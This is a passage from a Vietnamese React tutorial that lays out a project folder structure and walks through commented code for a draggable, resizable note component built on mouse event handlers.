id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------draggable-note/ --------draggable-note.css --------draggable-note.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li> <p>Thư mục <strong>components</strong>: chứa code của các Component. Bài này mình thực hành về <strong>Draggable Note</strong> nên mình tạo thêm thư mục <strong>draggable-note</strong> bên trong với 2 file <strong>draggable-note.js</strong> và <strong>draggable-note.css</strong> để định nghĩa cho component <strong>Draggable Note</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</p> </li> <li> <p>Thư mục <strong>images</strong>: để chứa tất cả những ảnh mình sử dụng cho Demo.</p> </li> <li> <p>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component <strong>Draggable Note</strong> ở trên.</p> </li> <li> <p>Các file <strong>index.css, index.js và serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</p> </li> </ul> <h2 id="xây-dựng-draggable-note-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-draggable-note-component" aria-label="xây dựng draggable note component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Draggable Note Component</h2> <h3 id="nội-dung-file-draggable-notejs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-draggable-notejs" aria-label="nội dung file draggable notejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file draggable-note.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<strong><em>mousedown, mouseup, mousemove</em></strong>).</li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">draggable-note.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./draggable-note.css"</span><span class="token punctuation">;</span> <span class="token comment">/** * Cross-browser để xác định clientWidth cho IE8 trở về trước * Draggable Note chỉ cho phép di chuyển phần tử * ở trong phạm vi màn hình */</span> <span class="token keyword">const</span> maxWidth <span class="token operator">=</span> window<span class="token punctuation">.</span>innerWidth <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientWidth <span class="token operator">||</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>clientWidth<span class="token punctuation">;</span> <span class="token comment">/** * Cross-browser để xác định clientHeight cho IE8 trở về trước * Draggable Note chỉ cho phép di chuyển phần tử * ở trong phạm vi màn hình */</span> <span class="token keyword">const</span> maxHeight <span class="token operator">=</span> window<span class="token punctuation">.</span>innerHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>clientHeight<span class="token punctuation">;</span> <span class="token comment">/** * React Component cho phép di chuyển 1 phần tử * trong phạm vi màn hình. * Hiện tại chỉ support di chuyển trên Desktop, * chưa support trên điện thoại */</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">DraggableNote</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Bind các phương thức để xử lý drag</span> <span class="token keyword">this</span><span class="token punctuation">.</span>dragMouseDown <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">dragMouseDown</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>elementDrag <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">elementDrag</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeDragElement <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">closeDragElement</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Bind các phương thức để resize content</span> <span class="token keyword">this</span><span class="token punctuation">.</span>resizeMouseDown <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">resizeMouseDown</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>contentResize <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">contentResize</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeResizeContent <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">closeResizeContent</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>contentChange <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">contentChange</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateContentSize <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateContentSize</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Tính lại chiều rộng, cao cho vùng content, * chiều rộng của content luôn = 100% giá trị của root */</span> <span class="token function">updateContentSize</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">.</span>style<span class="token punctuation">.</span>width <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetWidth<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">const</span> height <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetHeight <span class="token operator">-</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header<span class="token punctuation">.</span>offsetHeight<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>height<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Cập nhật khi component update */</span> <span class="token function">componentDidUpdate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateContentSize</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi component render xong lên màn hình */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Lấy ra DOM node của đối tượng root - toàn bộ component</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lấy ra DOM node của content - vùng chứa nội dung</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".content"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lấy ra DOM node của header - vùng cho phép click chuột để di chuyển</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".header"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// update kích thước thực tế cho phần content</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateContentSize</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Đăng ký sự kiện khi người dùng click chuột vào header</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mousedown"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>dragMouseDown<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Đăng ký sự kiện khi người dùng resize textarea, * Ở đây, mình phải dùng sự kiện mouseup * vì sự kiện resize không bắt được. */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mousedown"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>resizeMouseDown<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Huỷ đăng ký sự kiện khi người dùng click chuột vào header</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mousedown"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>dragMouseDown<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Huỷ Đăng ký sự kiện khi người dùng resize textarea</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mousedown"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>resizeMouseDown<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này xử lý khi người dùng click chuột vào header, * do đó đối số e - tương ứng với đối tượng MouseEvent */</span> <span class="token function">dragMouseDown</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Huỷ bỏ tất cả các xử lý mặc định, nếu có</span> e<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Lấy ra vị trí click chuột đầu tiên, * Mục đích là khi người dùng di chuyển, * mình sẽ tính vị trí chuột mới. * Sau đó, lấy giá vị trí mới trừ đi giá trị vị trí cũ, * sẽ tính được khoảng di chuyển của chuột * => cập nhật lại toạ độ cho Component */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startX <span class="token operator">=</span> e<span class="token punctuation">.</span>clientX<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startY <span class="token operator">=</span> e<span class="token punctuation">.</span>clientY<span class="token punctuation">;</span> <span class="token comment">// Đăng ký sự kiện mousemove, để xử lý khi di chuyển chuột</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mousemove"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>elementDrag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Đăng ký sự kiện mouseup, để xử lý khi người dùng nhả chuột. * Lúc này, đồng nghĩa với việc dừng di chuyển Component. */</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mouseup"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeDragElement<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Xử lý khi người dùng đã click chuột vào header của component * và đang di chuyển => đối số e - là MouseEvent */</span> <span class="token function">elementDrag</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Huỷ bỏ tất cả các xử lý mặc định, nếu có</span> e<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Lúc này, mình cũng tính được vị trí của chuột hiện tại, * chính là e.clientX và e.clientY. * Sau đó, lấy giá trị cũ (this.startX, this.startY) trừ đi * giá trị mới là tính được khoảng di chuyển. */</span> <span class="token keyword">const</span> deltaX <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startX <span class="token operator">-</span> e<span class="token punctuation">.</span>clientX<span class="token punctuation">;</span> <span class="token keyword">const</span> deltaY <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startY <span class="token operator">-</span> e<span class="token punctuation">.</span>clientY<span class="token punctuation">;</span> <span class="token comment">// Tính toán vị trí top, left, right, bottom mới của component</span> <span class="token keyword">const</span> newTop <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetTop <span class="token operator">-</span> deltaY<span class="token punctuation">;</span> <span class="token keyword">const</span> newLeft <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetLeft <span class="token operator">-</span> deltaX<span class="token punctuation">;</span> <span class="token keyword">const</span> newRight <span class="token operator">=</span> newLeft <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetWidth<span class="token punctuation">;</span> <span class="token keyword">const</span> newBottom <span class="token operator">=</span> newTop <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>offsetHeight<span class="token punctuation">;</span> <span class="token keyword">let</span> left <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>left<span class="token punctuation">;</span> <span class="token keyword">let</span> top <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>top<span class="token punctuation">;</span> <span class="token comment">/** * Kiểm tra thử xem ứng với vị trí mới này, * component có nằm trong chiều rộng màn hình không, * Nếu có, thì mới cập nhật vị trí mới */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> newLeft <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newLeft <span class="token operator">&lt;=</span> maxWidth <span class="token operator">&amp;&amp;</span> newRight <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newRight <span class="token operator">&lt;=</span> maxWidth <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startX <span class="token operator">=</span> e<span class="token punctuation">.</span>clientX<span class="token punctuation">;</span> left <span class="token operator">=</span> newLeft<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Kiểm tra thử xem ứng với vị trí mới này, * component có nằm trong chiều cao màn hình không, * Nếu có, thì mới cập nhật vị trí mới */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> newTop <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newTop <span class="token operator">&lt;=</span> maxHeight <span class="token operator">&amp;&amp;</span> newBottom <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> newBottom <span class="token operator">&lt;=</span> maxHeight <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>startY <span class="token operator">=</span> e<span class="token punctuation">.</span>clientY<span class="token punctuation">;</span> top <span class="token operator">=</span> newTop<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Cập nhật lại vị trí left, top cho Component</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>left <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>left<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>top <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>top<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token comment">/** * Nếu người dùng truyền vào hàm handleDataChange, * thì mình sẽ gọi để update state ở thằng cha nó */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>handleDataChange<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span><span class="token function">handleDataChange</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>id<span class="token punctuation">,</span> <span class="token punctuation">{</span> left<span class="token punctuation">,</span> top <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này xử lý khi người dùng nhả chuột - ngừng di chuyển, * Mình phải huỷ các sự kiện mouseup và mousemove đã đăng ký */</span> <span class="token function">closeDragElement</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mouseup"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeDragElement<span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mousemove"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>elementDrag<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Xử lý khi người dùng click vào khu vực textarea để resize */</span> <span class="token function">resizeMouseDown</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mousemove"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>contentResize<span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"mouseup"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeResizeContent<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này mục đích để kiểm tra phần textarea khi resize, * nhưng khi đăng ký sự kiện là mouseup. */</span> <span class="token function">contentResize</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> width <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">.</span>offsetWidth<span class="token punctuation">;</span> <span class="token keyword">const</span> height <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>content<span class="token punctuation">.</span>offsetHeight <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>header<span class="token punctuation">.</span>offsetHeight<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>width <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>width<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>height<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token comment">/** * Nếu người dùng truyền vào hàm handleDataChange, * thì mình sẽ gọi để update state ở thằng cha nó */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>handleDataChange<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span><span class="token function">handleDataChange</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>id<span class="token punctuation">,</span> <span class="token punctuation">{</span> width<span class="token punctuation">,</span> height <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/** * Khi resize kết thúc thì phải huỷ đăng ký các event lúc trước */</span> <span class="token function">closeResizeContent</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mouseup"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>closeResizeContent<span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"mousemove"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>contentResize<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Xử lý khi nội dung note thay đổi */</span> <span class="token function">contentChange</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/** * Nếu người dùng truyền vào hàm handleDataChange, * thì mình sẽ gọi để update state ở thằng cha nó */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>handleDataChange<span class="token punctuation">)</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span><span class="token function">handleDataChange</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>id<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">content</span><span class="token operator">:</span> event<span class="token punctuation">.</span>target<span class="token punctuation">.</span>value<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> title <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>title <span class="token operator">||</span> <span class="token string">"Click here to move"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> elemStyle <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">width</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>width <span class="token operator">||</span> <span class="token number">300</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>height <span class="token operator">||</span> <span class="token number">300</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">top</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>top <span class="token operator">||</span> <span class="token number">0</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">left</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>left <span class="token operator">||</span> <span class="token number">0</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/** * Set giá trị z-index cho Component nếu người dùng truyền, * ngược lại thì để giá trị mặc định mà trình duyệt cấp * khi khởi tạo */</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>zIndex <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> elemStyle<span class="token punctuation">.</span>zIndex <span class="token operator">=</span> <span class="token 